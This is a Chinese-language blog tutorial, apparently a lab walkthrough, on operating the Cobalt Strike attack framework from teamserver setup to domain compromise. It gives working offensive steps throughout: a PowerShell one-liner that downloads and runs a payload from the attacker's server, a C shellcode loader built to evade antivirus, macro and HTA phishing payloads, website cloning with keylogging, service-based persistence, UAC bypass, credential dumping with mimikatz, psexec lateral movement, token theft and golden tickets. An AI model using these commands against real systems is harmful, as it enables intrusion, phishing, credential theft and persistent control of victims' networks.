cobalt strike


cobalt strike

cobalt strike介绍

Cobalt Strike是一款基于java的渗透测试神器,常被业界人称为CS神器。分为客户端与服务端,服务端是一个,客户端可以有多个,非常适合团队协同作战,多个攻击者可以同时连接到一个团队服务器上,共享攻击资源与目标信息和sessions,可模拟APT做模拟对抗,进行内网渗透。

Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。

目录结构

│ agscript 拓展应用的脚本 
│ c2lint 检查profile的错误异常 
│ cobaltstrike 
│ cobaltstrike.jar 客户端程序 
│ icon.jpg 
│ license.pdf 
│ readme.txt 
│ releasenotes.txt
│ teamserver 服务端程序
│ update 
│ update.jar 
│
└─third-party 第三方工具 
        README.vncdll.txt 
        vncdll.x64.dll 
        vncdll.x86.dll 

个人定制

  • Cobalt Strike可以使用 AggressorScripts脚本来加强自身,能够扩展菜单栏,Beacon命令行,提

    权脚本等

  • Cobalt Strike通信配置文件是 Malleable C2 ,可以修改 CS的通讯特征,Beacon payload的一些行

  • Cobalt Strike可以引用其他的通讯框架ExternalC2,ExternalC2是由Cobalt Strike提出的一套规范/

    框架,它允许黑客根据需要对框架提供的默认HTTP(S)/DNS/SMB C2 通信通道进行扩展。

启动运行

服务端跟客户端好像需要在同一网段,不然会超时,但是没有多次尝试来验证

有时候客户端启动白屏,可能是输入法问题,切换输入法试试。

或者有时候打开白屏,再打开就正常了

服务器放在Linux平台上,服务端关键文件是teamserver和cobaltstrike.jar,将这俩个文件放在同一个目录执行

sudo ./teamserver 

一些参数

./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD] 
<host> 必需参数 团队服务器IP 
<password> 必需参数 连接服务器的密码 
[/path/to/c2.profile] 可选参数 指定C2通信配置文件,体现其强大的扩展性 
[YYYY-MM-DD] 可选参数 所有payload的终止时间 

密码设置成强密码,不然容易被爆破

在目录下查看文件权限,teamserver需要执行权限

ls -al 

如果出错可赋予teamserver执行权限

image-20220417164447250

之后客户端连接即可

image-20220417164916991

也可在kali连接,同样需要赋予执行权限

sudo ./cobaltstrike

image-20220417170039695

但是上面的命令启动如果窗口关闭,teamserver会自动关闭,可以使用nohub命令设置后台启动

sudo nohup ./teamserver 192.168.0.180 123456 &

image-20220417165607050

可通过查看端口判断服务端是否启动

netstat -anpt

可以查看此进程

ps aux |grep teamserver

可以kill掉进程来关闭teamserver

sudo kill num

可以通过修改teamserver来修改端口等信息

sudo vi teamserver

image-20220417165802520

基础使用

在连接服务端后,首先创建监听器

监听器payload支持多种协议

image-20220417172228172

beacon是cobalt strike的内置监听器 包括dns、http、https、smb四种方式的监听器 foreign为外部监听器,配合Metasploit或者Armitage的监听器。

地址巡回策略

round-robin 按主机名的顺序循环浏览主机名列表
random 每次访问时,从列表中随机选择一个主机名 已尝试连接。
failover-xx 使用每台主机一段时间。指定的持续时间(m、h、d),然后使用下一个主机。

http地址(stager)这个可以填写ip本身 也可以填写多个域名 但是这个域名解析必须是teamserver的地址。

在dns增加多条a记录均指向teamserver的ip

image-20220417175630325

添加三条记录

image-20220417175701708

host是teamserver的地址 stager可以填写多个域名 可以使用随机 提供多个域名访问teamserver

image-20220417175839909

使用wireshark抓包分析

上线分析,因为是random,可看到一个随机的域名解析

image-20220417181127101

使用 攻击 ->生成后门->windows可执行程序 选择好监听器 生成后门上线

image-20220417172719718

之后目标运行后即可上线

image-20220417173400645

也可使用web投递方式上线

image-20220417173504962

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.0.180:80/a'))"

目标运行后也可上线

image-20220417173554725

image-20220417173612010

colbat strike dns 上线

在内网使用时,如果防护墙只允许dns出网,可以使用dns后门上线,cs里内置dns上线模块

nslookup www.baidu.com 查询dns是否出网,发现dns可以出网

image-20220422155329752

准备域名,设置 ns记录和a记录,并且把ns记录指向a记录

image-20220422155854857

在公网的VPS里,启动服务端放在后台

nohup ./teamserver 10.68.3.12 QWEasd55aa &

建立dns监听器

image-20220422161112090

因为dns的默认端口是53端口 在ubuntu的53端口默认是开启的,如果出现占用情况,在ubantu中先把53端口关闭

systemctl stop systemd-resolved

使用web传递,目标执行后上线是一个黑色图标。

右键选择会话交互使用命令 checkin,强制目标回连并更新状态(用于DNS上线,DNS模式下无新任务时目标不会回连Teamserver)

image-20220422161445753

执行完之可以获得上线的一些信息

image-20220422161905922

在beacon支持三种dns执行命令方式 一般使用dns-txt较多

mode dns 使用DNS A记录作为数据通道(仅支持DNS上线Beacon)
mode dns-txt 使用DNS TXT记录作为数据通道(仅支持DNS上线Beacon)
mode dns6 使用DNS AAAA记录作为数据通道(仅支持DNS上线Beacon)

image-20220422162015026

生成后门模块使用

生成后门界面有以下模块:

image-20220424095606186

HTA文档

提供了3种生成方式 exe,powershell,vba。

其中VBA方法需要目标系统上的MicrosoftOffice,在系统支持的情况下我们一般选择powershell,因为这种方式更加容易免杀。通常我们结合host File(文件下载功能) 来实行钓鱼。

image-20220424104945247

目标运行hta文件之后,可以上线。

我们一般配合文件托管使用。

image-20220424105154941

改名为hta文件

image-20220424105240095

目标在点击url后下载运行文件后,我们上线。

image-20220424105318345

image-20220424105443998

office宏

将生成的宏文件 放在word文档,文档可以执行宏时,自动执行

image-20220424105833741

选择监听器后,出现宏文档创建步骤

image-20220424105839317

新建一个word文档,开发工具->宏->任意宏名->选择宏位置

image-20220424130832579

将生成的宏代码替换

image-20220424131009589

选择否->选择宏可用文件

image-20220424131114003

之后会生成宏可用文件docm,启用宏,我们可以得到一个session,就上线了

image-20220512152721379

image-20220512153914203

pyaload生成器

cs里提供一个payload生成器,因为默认的shellcode容易被杀毒软件发现,可以编写shellcode加载器运行payload 达到免杀的效果

image-20220512153001849

点击之后可以选择监听器以及输出格式,输出格式取决于 shellcode运行器类型。

image-20220512154031651

点击generate,选择好路径,就可以生成shellcode

image-20220512154226012

payload.c里面就是我们的shellcode

image-20220512154257236

c/c++加载器

\#include <windows.h> 
\#include <stdio.h> 
\#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不显示 窗口

这里是shellcode代码

void main() 
{ 
LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 

if (Memory == NULL) { return; } 
memcpy(Memory, shellcode, sizeof(shellcode)); 
((void(*)())Memory)(); 
}

我们打开vs studio

windows可执行程序

image-20220512160738055

点击之后,进入配置页面,

提供三种输出类型:

  • windows可执行程序,双击运行
  • windows服务程序,可使用sc命令制作为服务程序,这是cs留后门的一种方法
  • windows dll文件

image-20220512160802267

windows exe

目标运行exe即可上线

windows service exe

选择监听器生成service1.exe,服务后门。

上传后门到目标,user那里有*表示我们可以完全控制机器。

image-20220512162006527

返回beacon,使用命令

创建服务server1,=后必须有空格

shell sc create "server1" binpath= "C:\Windows\Temp\service1.exe" 

image-20220512162437709

给服务添加描述,可加可不加

shell sc description "server1" "description" 

设置服务自启动

shell sc config "server1" start= auto 

启动服务,权限提升到system

shell net start "server1"

image-20220512164038743

windwos可执行程序 (Stageless)

image-20220512164803335

Staged 和 Stageless 的区别:

前者的实际功能只是和 C2 建立连接并接收 Payload, 然后加载执行,

Stageless 直接省去了接收 Payload 的步骤。Stageless 生成的 Payload 都会比 Staged 的要大很多,,而且包含了特征明细。

钓鱼模块

cs提供钓鱼模块,方便渗透。

主要有:站点管理、网站克隆、文件托管、web投递、签名applet攻击、智能applet攻击、信息搜集。

image-20220512165137044

站点管理

对开启的web服务进行管理,我们生成的一些文件会在这里存储

image-20220512165436538

网站克隆

克隆一个网站,发送给受害者,收集受害者提交的信息,可以选择攻击下载文件,也可以开启键盘记录。

image-20220512171124746

可以在站点管理看到克隆的网站

image-20220512171314191

受害者访问此url,可看到界面跟克隆的网站相同

image-20220512171436580

可在视图里的web日志看到受害者信息,如果选择了攻击,用户会在访问网站时,自动弹出下载文件,执行之后我们可以获取到session

image-20220512171733912

文件托管

文件托管可以将后门文件托管到一个url,目标访问之后自动下载文件,执行之后我们可以获取session

image-20220512172332457

web投递

提供一个攻击载荷,目标运行之后我们可以获取session

image-20220512172646122

这是生成的payload,用户执行之后我们可以获取session

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.68.4.155:80/a'))"

信息搜集

生成一个页面,搜集目标浏览器系统信息,可以设置跳转url,比如设置一个钓鱼的url。

image-20220512173019355

用户访问改url之后可以在web日志里面查看搜集到的信息。

邮件钓鱼

image-20220513141827378

点击之后进入配置页面,分别为目标、模板、附件、嵌入url、邮件服务器、退信通知邮箱

image-20220513141907258

目标我们可以准备一个user.txt文件,写入目标邮箱地址

模板我们可以使用eml文件,这个可以在qq邮箱导出

image-20220513142147451

附件我们可以把后门放进来

嵌入url是目标在点击邮箱的url之后会自动跳转,我们可以放入钓鱼网站的url

beacon使用

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从 父Beacon获取到任务并发送。

因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。

smb beacon的工作流程

image-20220513151259621

拿到一个session后,右键点击interact进入交互页面,可以使用beacon命令

image-20220513144659084

输入help可以查看帮助文档

Command Description 

------- -----------

argue 命令行参数欺骗 

blockdlls 禁止子进程加载非微软签名的dll 

browserpivot 注入浏览器进程代理用户已认证身份(仅支持IE) 

cancel 取消正在下载的文件 

cd 跳转目录 

checkin 强制目标回连并更新状态(用于DNS上线,DNS模式下无新任务时目标不会回连Teamserver) 

chromedump 提取Chrome保存的账号密码、Cookies等信息 

clear 清空beacon任务队列 

connect 通过TCP正向连接远程Beacon 

covertvpn 部署Covert VPN客户端 

cp 复制文件 

dcsync 从域控提取密码hash 

desktop 远程VNC控制用户桌面 

dllinject 注入一个内存反射加载的dll到目标进程 

dllload 使用LoadLibrary方式在目标进程中加载一个dll 

download 下载文件 

downloads 列出所有正在下载的文件 

drives 列出所有磁盘盘符 

elevate 利用提权漏洞获取一个高权限Beacon 

execute 在目标上执行程序(无回显) 

execute-assembly 在目标上内存加载执行本地.NET程序 

exit 结束当前Beacon会话 

getprivs 在当前进程访问令牌(access token)中启用system特权 

getsystem 尝试获取SYSTEM用户权限 

getuid 获取当前进程访问令牌(access token)的用户信息 

hashdump 获取本地用户hash 

help 帮助信息 

inject 在指定进程中注入新的Beacon会话 

inline-execute 在当前会话中执行Beacon Object File 

jobkill 结束一个后台任务 

jobs 列出所有后台任务 

jump 在远程机器上植入Beacon(横向移动) 

kerberos_ccache_use 从ccache文件导入kerberos票据到当前会话中kerberos_ticket_purge 清空当前会话中的所有kerberos票据 

kerberos_ticket_use 从ticket文件中导入kerberos票据到当前会话中 

keylogger 开启键盘记录 

kill 结束指定进程 

link 通过命名管道正向连接远程Beacon 

logonpasswords 使用mimikatz获取密码和hash 

ls 列出目录文件 

make_token 创建进程访问令牌(access token),仅用于访问网络资源 

mimikatz 运行mimikatz 

mkdir 创建目录 

mode dns 使用DNS A记录作为数据通道(仅支持DNS上线Beacon) 

mode dns-txt 使用DNS TXT记录作为数据通道(仅支持DNS上线Beacon) 

mode dns6 使用DNS AAAA记录作为数据通道(仅支持DNS上线Beacon) 

mv 移动文件 

net 网络和主机探测工具(内置net命令) 

note 给当前会话添加备注信息 

portscan 网络端口扫描 

powerpick 内存执行Powershell命令(不调用powershell.exe) 

powershell 通过powershell.exe执行Powershell命令 

powershell-import 导入本地powershell脚本到当前会话中 

ppid 为所有新运行的进程设置伪造的父进程PID 

printscreen 使用PrintScr方式截屏 

ps 显示进程列表 

psinject 注入到指定进程后在内存中执行Powershell命令(不调用 powershell.exe) 

pth 使用Mimikatz执行Pass-the-hash 

pwd 显示当前目录 

reg 查询注册表 

remote-exec 在远程机器上执行命令(横向移动) 

rev2self 恢复原始进程访问令牌(access token) 

rm 删除文件或文件夹 

rportfwd 反向端口转发(从Cobalt Strike Teamserver发起连接) 

rportfwd_local 反向端口转发(从Cobalt Strike客户端发起连接) 

run 在目标上执行程序(有回显) 

runas 以另一个用户身份执行程序 

runasadmin 以高权限执行程序 

runu 以另一个进程PID作为父进程PID,并以其用户身份执行程序 

screenshot 截屏 

screenwatch 屏幕监控,每隔一段时间截屏 

setenv 设置环境变量 

shell 使用cmd.exe执行命令 

shinject 注入shellcode到指定进程中 

shspawn 创建傀儡进程并注入shellcode到其中运行 

sleep 设置beacon回连间隔时间 

socks 启动SOCKS4a代理服务器 

socks stop 停止SOCKS4a代理服务器 

spawn 创建一个新Beacon会话 

spawnas 以另一个用户身份创建一个新Beacon会话 

spawnto 设置创建新进程时使用的可执行文件路径(傀儡进程的宿主exe文件路径)

spawnu 以另一个进程PID作为父进程PID,并以其用户身份创建一个新 

Beacon会话 

spunnel 运行第三方agent shellcode并将其反向代理到控制端(从Cobalt Strike Teamserver发起连接) 

spunnel_local 运行第三方agent shellcode并将其反向代理到控制端(从Cobalt Strike客户端发起连接) 

ssh 通过SSH连接远程主机(使用账号密码认证) 

ssh-key 通过SSH连接远程主机(使用证书私钥认证)steal_token 从指定进程中窃取访问令牌(access token) 

timestomp 复制B文件的创建、访问、修改时间戳到A文件(文件时间戳伪造) 

unlink 断开与beacon的连接(用于通过TCP、命名管道连接的beacon) 

upload 上传文件 

代理转发

socks代理

teamserver 192.168.234.128

12server5 192.168.234.129 10.10.10.139

12server4 10.10.10.138

拿到session后,修改回连间隔,进入beacon交互

image-20220513154259662

使用socks设置1080端口代理

socks 1080

image-20220513154337135

看到这里使用的是socks4a,修改proxychains4.conf文件,让工具走这条隧道

sudo vi /etc/proxychains4.conf  

image-20220513155128356

比如我们使用nmap ,利用proxychain走这条隧道进行扫描。

proxychains4 nmap 10.10.10.138 -sT -A -p 445

image-20220513155113008

可看到成功通过这条隧道访问到了内网。

转发上线

转发监听器可以利用已攻陷的机器作为代理,为其他Beacon会话中转网络流量,即内网其他机器可通过连接攻陷机器上线。

teamserver 192.168.234.128

12server5 192.168.234.129 10.10.10.139

12server4 10.10.10.138

利用获取的session,右键->pivoting->listener,新建监听器

image-20220513155338784

监听器使用当前会话

image-20220513155445288

点击保存之后,beacon中可看到执行代码,所以也可以在beacon中使用。

image-20220513155719481

接着生成后门,attacks ->packages->windows->executable(s),选择rve,

image-20220513155959919

如果选择上面的windows可执行程序会发现没有刚才新建的监听器,之后生成beacon.exe后门

image-20220513160322149

接下来如果内网目标点击了这个可执行程序,我们就可以获取到session

可看到内网主机与攻击机不互通

image-20220513162117214

目标运行beacon之后,我们获取到了session,获取到的session会有圈圈。

image-20220513162048935

点击视图查看

image-20220513162247483

VPN部署

为CovertVPN新建一个虚拟机网卡和监听器,当部署CovertVPN客户端后,你将相当于在目标网络中拥有一个二层网络的tap接口

右键获取到的session->pivoting-> deploy vpn,部署vpn

image-20220513163111426

点击之后可看到目标的俩块网卡,选择内网网卡,点击add,点击部署

image-20220513163225480

beacon也执行了相关命令

image-20220513163322154

也可以在cobalt strike-vpn interface这里查看配置的vpn

image-20220513163351185

kali执行,尝试分配ip,这里看到已经有了内网段的ip

sudo ifconfig phear1 10.10.10.0/24

image-20220513164333076

试着使用nmap扫描内网段

nmap -sT -Pn 10.10.10.138 -p 445

image-20220513164813381

可看到直接扫描已经可以了,说明我们攻击机的流量进入到了内网

返回到cs查看,可看到有流量在跑

image-20220513164846486

会话

Cobalt Strike 的 Beacon 最初是一个稳定的生命线,让你可以保持对受害主机的访问权限。从一开始,Beacon 的主要目的就是向其他的 Cobalt Strike 监听器传递权限。

使用 spawn 命令来为一个监听器派生一个会话。此 spawn 命令接受一个架构(如:x86,x64)和一个监听器作为其参数。默认情况下, spawn 命令会在 rundll32.exe 中派生一个会话。

spawn会话

可以使用spawn命令派生一个会话,帮助文档如下

image-20220516165040686

我们新建一个监听器,选择beacon https,默认端口就为443

image-20220516165202797

右键会话,点击spawn,选择刚才新建的beacon-https监听器

image-20220516165252162

经过一会,可看到又获得了一个会话,进程为rundll32.exe,并且在会话交互中也可看到该操作的命令执行。

spawn 监听器名称

image-20220516165352345

注入进程获取会话

右键->expore->process list,查看进程列表

image-20220516165708931

我们本来的会话是administrator权限,我们可以选择一个system权限的进程注入进去,这样就可以获得一个system权限的会话

点击注入之后,选择监听器

image-20220516165842733

之后再次得到了一个会话,可看到是system权限

image-20220516170227257

cobalt strike派生会话到msf

我们可以将cs上线的会话派生到msf中

首先创建新的监听器,监听器类型选择foreign http,设置好ip和端口,

image-20220516170810584

ip就为cs服务器ip,端口为之后msf回连端口

打开msf终端,执行以下命令,run之后msf开始监听

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost
set lport
run

image-20220516171103936

右键会话->spawn->选择刚才新建的foreign http会话,之后cs就会自动把会话派生到msf

或者也可以使用beacon命令,可看到msf获取到了meterpreter会话

image-20220516171438299

msf派生会话到cs

如果msf获取到了会话,也可通过payload_inject模块将会话派生到cs里面

在cs里面新建监听器,选择端口为9999

image-20220516171955415

在msf里面执行如下命令,这里设置参数 disablepayloadhandler为true,用来禁止msf监听,如果不设置我们获取到的会话就是msf本地的

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set disablepayloadhandler true
set lhost 
set lport
set session
run

image-20220516172407057

我运行俩次试试,可看到cs多了俩个会话

image-20220516173311513

后渗透

获取hash

凭证提权里有个抓取hash,类似于msf的hashdump

image-20220517142441117

可以看到beacon执行hashdump,抓取到的hahs可以在视图里面的密码凭证里查看

image-20220517142600854

抓取到的hash

image-20220517142631444

提权

ms14-058/ms15-051/ms16-016/ms16-032

这些都是大家耳熟能详的Windows本地提权漏洞,在此插件中都已经集成

UAC-DLL

这是一种绕过UAC的攻击,它试图将本地管理员运行的有效负载从低权限提升到高权限。此攻击使用UAC漏洞将ArtifactKit生成的DLL复制到特权位置。此攻击适用于Windows7和Windows8及更高版本的未修补版本。

uac-token-duplication

这是另一种绕过UAC的攻击,将其从低权限提升到高权限(作为本地管理员)。这种攻击使用一个UAC漏洞,允许非提升进程使用从提升进程中窃取的令牌启动任意进程。此漏洞要求攻击删除分配给提升令牌的多个权限。此攻击适用于Windows7及更高版本。如果AlwaysNotify处于其最高设置,则此攻击要求提升的进程已在当前桌面会话中运行(作为同一用户),此漏洞使用PowerShell生成会话。

Uac-eventvwr

这种提权方法是利用时间查看器eventvwr,通过注册表之后,执行Eventvwr.exe会自动加载我们的A.exe(exp),这个时候他的权限就是高了,成功绕过UAV

Uac-wscript

这种绕过uac提权的方法最初是在Empire框架中现身的,该方法只针对Windows7有效

右键->凭证提权->权限提升,cs原本存在俩个提权模块

image-20220517142809091

原本存在俩个提权模块

image-20220517142903074

我们可以在cs中添加脚本,使用更多的提权模块。进入scripts,将下载的elevatekit脚本在此处。github下载,modules里面有一些常用的提权exp

image-20220517143940356

点击cobalt strike->脚本管理器,

image-20220517143031751

点击加载->选择scripts里面的脚本文件->点击打开

image-20220517144123702

返回权限提升操作发现成功导入了一些提权模块

image-20220517144244753

我们尝试baypass uac

uac 用户账户控制,通过弹窗让用户进一步确认是否授权当前可执行文件

通俗的讲,我们在没有*的机器上getsytem无法成功,但是我们在bypass的主机getsystem可以成功。

假如我们此时上线一个主机,但是没有完全控制权限,此时在这台主机beacon中运行getsystem会失败。并且,我们在没有完全控制权限的主机上传dll文件会失败。

我们进行提权,选择uac-schtasks提权模块,该模块可以bypass uac,之后我们获取到一个完全控制的会话。

image-20220517145148466

这时我们在这一个会话上运行getsystem就会成功。

抓取明文密码

右键->凭证提权->抓取明文密码,或者beacon中输入logonpasswords,需要管理员权限

image-20220517151919951

横向移动

横向渗透攻击技术是复杂网络攻击中广泛使用的一种技术,特别是在高级持续威胁(AdvancedPersistent Threats,APT)中更加热衷于使用这种攻击方法。攻击者可以利用这些技术,以被攻陷的系统为跳板,访问其他主机,获取包括邮箱、共享文件夹或者凭证信息在内的敏感资源。攻击者可以利用这些敏感信息,进一步控制其他系统、提升权限或窃取更多有价值的凭证。借助此类攻击,攻击者最终可能获取域控的访问权限,完全控制基于Windows系统的基础设施或与业务相关的关键账户。

psexec横移

右键->浏览探测->网络探测,或者beacon中输入net view。

image-20220517153056071

可以显示出网络中存活的主机,或者点击视图 ->目标列表。

image-20220517153350727

新建一个smb监听器,

image-20220517153553973

右键138这台主机,对他进行端口扫描,

image-20220517153501513

端口只扫描445即可,会话选择139这台主机

image-20220517153828096

可在beacon看到操作命令和显示信息,目标开放445端口

image-20220517153927349

这里我们可以使用psexec进行横向移动。

image-20220517154319877

可以使用hash,选择监听器为smb,会话为139主机,运行之后拿到会话

image-20220517154810640

可看到通过横向从139拿到了138的session,如果此时139session断开连接,拿到的138也会断开,因为是通过139拿到的session

image-20220517161838356

我们也可以不使用hash,使用jump命令,jump psexec 12server4 beacon-smb,可看到也拿到了session

image-20220517162540713

上面俩个是通过正向连接的方式,如果目标开启了防火墙,这种方法就会失败。

我们可以使用反向连接的方法,首先先做一个代理转发->转发上线

image-20220517164619245

之后使用jump命令,jump psexec 12server4 reverse,可看到又获得了一个session会话

image-20220517164818116

窃取令牌

可以使用ps列出进程

image-20220517170417315

使用steal_token pid,来窃取进程令牌,比如现在是adminnistrator权限,我们可以通过窃取进程令牌拿到system权限。通过rev2self来返回之前的令牌。

制作令牌

右键->凭证提权->创建令牌,输入用户名密码和域名来创建令牌

image-20220517171141758

image-20220517171047945

我这里创建的是域管理员的账号密码,我尝试拿域管的会话,可以看到成功了。(注:之前作得代理转发还在,所以我用的反向连接),可看到上方拿到了136主机的会话。

image-20220517171340578

黄金票据

我们进入域控的会话交互,黄金票据的原理这里就不细说了,直接来做

使用hashdump拿到krbtgt的ntlmhash,可在视图中的密码凭证看到拿到的hash

image-20220517171909901

使用shell whoami /user,拿到域的SID值,最后一个-前面是域的sid值,后面的500是用户的sid值,我们需要的是前面部分。

image-20220517172208376

右键->凭证提权->黄金票据

image-20220517172326928

填写对应信息,点击生成

image-20220517172500548

下图可看到成功了,我们尝试dir域控目录也成功。

image-20220517172615415


文章作者: 晓莎K
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 晓莎K !
评论
  目录